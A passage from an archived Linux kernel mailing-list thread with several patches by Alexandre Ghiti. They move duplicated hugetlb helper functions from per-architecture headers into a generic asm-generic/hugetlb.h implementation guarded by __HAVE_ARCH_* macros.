Xref: news.gmane.org gmane.linux.kernel:2840736 gmane.linux.kernel.mm:201313 gmane.linux.ports.arm.kernel:667943 gmane.linux.ports.ia64:29053 gmane.linux.ports.mips.general:65915 gmane.linux.ports.parisc:28882 gmane.linux.ports.ppc64.devel:160973 gmane.linux.ports.sh.devel:57340 gmane.linux.ports.sparc:28192 gmane.linux.kernel.cross-arch:45602
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2840736>

arm, arm64, powerpc, sparc, x86 architectures use the same version of
prepare_hugepage_range, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb.h     | 11 -----------
 arch/arm64/include/asm/hugetlb.h   | 11 -----------
 arch/ia64/include/asm/hugetlb.h    |  1 +
 arch/mips/include/asm/hugetlb.h    |  1 +
 arch/parisc/include/asm/hugetlb.h  |  1 +
 arch/powerpc/include/asm/hugetlb.h | 15 ---------------
 arch/sh/include/asm/hugetlb.h      |  1 +
 arch/sparc/include/asm/hugetlb.h   | 16 ----------------
 arch/x86/include/asm/hugetlb.h     | 15 ---------------
 include/asm-generic/hugetlb.h      | 15 +++++++++++++++
 10 files changed, 19 insertions(+), 68 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 9ca14227eeb7..3fcef21ff2c2 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -33,17 +33,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline int prepare_hugepage_range(struct file *file,
-					 unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 1fd64ebf0cd7..3e7f6e69b28d 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -31,17 +31,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline int prepare_hugepage_range(struct file *file,
-					 unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 82fe3d7a38d9..cbe296271030 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -9,6 +9,7 @@ void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 int prepare_hugepage_range(struct file *file,
 			unsigned long addr, unsigned long len);
 
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index b3d6bb53ee6e..6ff2531cfb1d 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -18,6 +18,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 static inline int prepare_hugepage_range(struct file *file,
 					 unsigned long addr,
 					 unsigned long len)
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 5a102d7251e4..fb7e0fd858a3 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -22,6 +22,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
  * If the arch doesn't supply something else, assume that hugepage
  * size aligned regions are ok without further preparation.
  */
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 static inline int prepare_hugepage_range(struct file *file,
 			unsigned long addr, unsigned long len)
 {
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 7123599089c6..69c14ecac133 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -117,21 +117,6 @@ void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
-/*
- * If the arch doesn't supply something else, assume that hugepage
- * size aligned regions are ok without further preparation.
- */
-static inline int prepare_hugepage_range(struct file *file,
-			unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 #define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 54f65094efe6..f1bbd255ee43 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -15,6 +15,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
  * If the arch doesn't supply something else, assume that hugepage
  * size aligned regions are ok without further preparation.
  */
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 static inline int prepare_hugepage_range(struct file *file,
 			unsigned long addr, unsigned long len)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index f661362376e0..2101ea217f33 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -26,22 +26,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-/*
- * If the arch doesn't supply something else, assume that hugepage
- * size aligned regions are ok without further preparation.
- */
-static inline int prepare_hugepage_range(struct file *file,
-			unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 #define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 3cd3a2c9840e..59c056adb3c9 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -13,21 +13,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-/*
- * If the arch doesn't supply something else, assume that hugepage
- * size aligned regions are ok without further preparation.
- */
-static inline int prepare_hugepage_range(struct file *file,
-			unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index cd9697672b79..6c0c8b0c71e0 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -87,4 +87,19 @@ static inline pte_t huge_pte_wrprotect(pte_t pte)
 }
 #endif
 
+#ifndef __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
+static inline int prepare_hugepage_range(struct file *file,
+		unsigned long addr, unsigned long len)
+{
+	struct hstate *h = hstate_file(file);
+
+	if (len & ~huge_page_mask(h))
+		return -EINVAL;
+	if (addr & ~huge_page_mask(h))
+		return -EINVAL;
+
+	return 0;
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 09/11] hugetlb: Introduce generic version of huge_ptep_set_wrprotect
Date: Mon,  6 Aug 2018 17:57:09 +0000
Lines: 226
Approved: news@gmane.org
Message-ID: <20180806175711.24438-10-alex@ghiti.fr>
References: <20180806175711.24438-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533578728 2919 195.159.176.226 (6 Aug 2018 18:05:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Aug 2018 18:05:28 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 06 20:05:21 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fmjsf-0000d5-CG
	for glk-linux-kernel-4@m.gmane.org; Mon, 06 Aug 2018 20:05:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2387609AbeHFURn (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 6 Aug 2018 16:17:43 -0400
Original-Received: from relay10.mail.gandi.net ([217.70.178.230]:52223 "EHLO
        relay10.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1730755AbeHFURn (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 6 Aug 2018 16:17:43 -0400
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay10.mail.gandi.net (Postfix) with ESMTPSA id E7DB4240005;
        Mon,  6 Aug 2018 18:07:21 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180806175711.24438-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2840737 gmane.linux.kernel.mm:201314 gmane.linux.ports.arm.kernel:667944 gmane.linux.ports.ia64:29054 gmane.linux.ports.mips.general:65916 gmane.linux.ports.parisc:28883 gmane.linux.ports.ppc64.devel:160974 gmane.linux.ports.sh.devel:57341 gmane.linux.ports.sparc:28193 gmane.linux.kernel.cross-arch:45603
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2840737>

arm, ia64, mips, powerpc, sh, x86 architectures use the same version
of huge_ptep_set_wrprotect, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h        | 6 ------
 arch/arm64/include/asm/hugetlb.h             | 1 +
 arch/ia64/include/asm/hugetlb.h              | 6 ------
 arch/mips/include/asm/hugetlb.h              | 6 ------
 arch/parisc/include/asm/hugetlb.h            | 1 +
 arch/powerpc/include/asm/book3s/32/pgtable.h | 6 ------
 arch/powerpc/include/asm/book3s/64/pgtable.h | 1 +
 arch/powerpc/include/asm/nohash/32/pgtable.h | 6 ------
 arch/powerpc/include/asm/nohash/64/pgtable.h | 1 +
 arch/sh/include/asm/hugetlb.h                | 6 ------
 arch/sparc/include/asm/hugetlb.h             | 1 +
 arch/x86/include/asm/hugetlb.h               | 6 ------
 include/asm-generic/hugetlb.h                | 8 ++++++++
 13 files changed, 13 insertions(+), 42 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index b897541520ef..8247cd6a2ac6 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 3e7f6e69b28d..f4f69ae5466e 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -48,6 +48,7 @@ extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 #define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
 				    unsigned long addr, pte_t *ptep);
 #define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index cbe296271030..49d1f7949f3a 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 6ff2531cfb1d..3dcf5debf8c4 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -63,12 +63,6 @@ static inline int huge_pte_none(pte_t pte)
 	return !val || (val == (unsigned long)invalid_pte_table);
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr,
 					     pte_t *ptep, pte_t pte,
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index fb7e0fd858a3..9c3950ca2974 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -39,6 +39,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/book3s/32/pgtable.h b/arch/powerpc/include/asm/book3s/32/pgtable.h
index 02f5acd7ccc4..fc1511ce33a4 100644
--- a/arch/powerpc/include/asm/book3s/32/pgtable.h
+++ b/arch/powerpc/include/asm/book3s/32/pgtable.h
@@ -228,12 +228,6 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 {
 	pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
 }
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 
 static inline void __ptep_set_access_flags(struct vm_area_struct *vma,
 					   pte_t *ptep, pte_t entry,
diff --git a/arch/powerpc/include/asm/book3s/64/pgtable.h b/arch/powerpc/include/asm/book3s/64/pgtable.h
index 42aafba7a308..7d957f7c47cd 100644
--- a/arch/powerpc/include/asm/book3s/64/pgtable.h
+++ b/arch/powerpc/include/asm/book3s/64/pgtable.h
@@ -451,6 +451,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 		pte_update(mm, addr, ptep, 0, _PAGE_PRIVILEGED, 0);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/powerpc/include/asm/nohash/32/pgtable.h b/arch/powerpc/include/asm/nohash/32/pgtable.h
index 7c46a98cc7f4..6cabbd04a6fa 100644
--- a/arch/powerpc/include/asm/nohash/32/pgtable.h
+++ b/arch/powerpc/include/asm/nohash/32/pgtable.h
@@ -249,12 +249,6 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 {
 	pte_update(ptep, (_PAGE_RW | _PAGE_HWWRITE), _PAGE_RO);
 }
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 
 static inline void __ptep_set_access_flags(struct vm_area_struct *vma,
 					   pte_t *ptep, pte_t entry,
diff --git a/arch/powerpc/include/asm/nohash/64/pgtable.h b/arch/powerpc/include/asm/nohash/64/pgtable.h
index dd0c7236208f..69fbf7e9b4db 100644
--- a/arch/powerpc/include/asm/nohash/64/pgtable.h
+++ b/arch/powerpc/include/asm/nohash/64/pgtable.h
@@ -238,6 +238,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 	pte_update(mm, addr, ptep, _PAGE_RW, 0, 0);
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index f1bbd255ee43..8df4004977b9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -32,12 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 2101ea217f33..c41754a113f3 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -32,6 +32,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 59c056adb3c9..a3f781f7a264 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -13,12 +13,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	ptep_set_wrprotect(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 6c0c8b0c71e0..9b9039845278 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -102,4 +102,12 @@ static inline int prepare_hugepage_range(struct file *file,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_SET_WRPROTECT
+static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
+		unsigned long addr, pte_t *ptep)
+{
+	ptep_set_wrprotect(mm, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 10/11] hugetlb: Introduce generic version of huge_ptep_set_access_flags
Date: Mon,  6 Aug 2018 17:57:10 +0000
Lines: 175
Approved: news@gmane.org
Message-ID: <20180806175711.24438-11-alex@ghiti.fr>
References: <20180806175711.24438-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533578799 7737 195.159.176.226 (6 Aug 2018 18:06:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Aug 2018 18:06:39 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 06 20:06:32 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fmjto-0001t4-86
	for glk-linux-kernel-4@m.gmane.org; Mon, 06 Aug 2018 20:06:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2387646AbeHFUSz (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 6 Aug 2018 16:18:55 -0400
Original-Received: from relay1-d.mail.gandi.net ([217.70.183.193]:46351 "EHLO
        relay1-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1730220AbeHFUSy (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 6 Aug 2018 16:18:54 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay1-d.mail.gandi.net (Postfix) with ESMTPSA id 55FDB24000F;
        Mon,  6 Aug 2018 18:08:32 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180806175711.24438-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2840739 gmane.linux.kernel.mm:201315 gmane.linux.ports.arm.kernel:667945 gmane.linux.ports.ia64:29055 gmane.linux.ports.mips.general:65917 gmane.linux.ports.parisc:28884 gmane.linux.ports.ppc64.devel:160975 gmane.linux.ports.sh.devel:57343 gmane.linux.ports.sparc:28195 gmane.linux.kernel.cross-arch:45604
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2840739>

arm, ia64, sh, x86 architectures use the same version
of huge_ptep_set_access_flags, so move this generic implementation
into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h | 7 -------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 7 -------
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 7 -------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 7 -------
 include/asm-generic/hugetlb.h         | 9 +++++++++
 10 files changed, 14 insertions(+), 28 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 8247cd6a2ac6..54e4b097b1f5 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,11 +37,4 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 #endif /* _ASM_ARM_HUGETLB_3LEVEL_H */
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index f4f69ae5466e..80887abcef7f 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -42,6 +42,7 @@ extern pte_t arch_make_huge_pte(pte_t entry, struct vm_area_struct *vma,
 #define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 			    pte_t *ptep, pte_t pte);
+#define __HAVE_ARCH_HUGE_PTEP_SET_ACCESS_FLAGS
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 49d1f7949f3a..e9b42750fdf5 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -27,13 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
-					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	return ptep_set_access_flags(vma, addr, ptep, pte, dirty);
-}
-
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return *ptep;
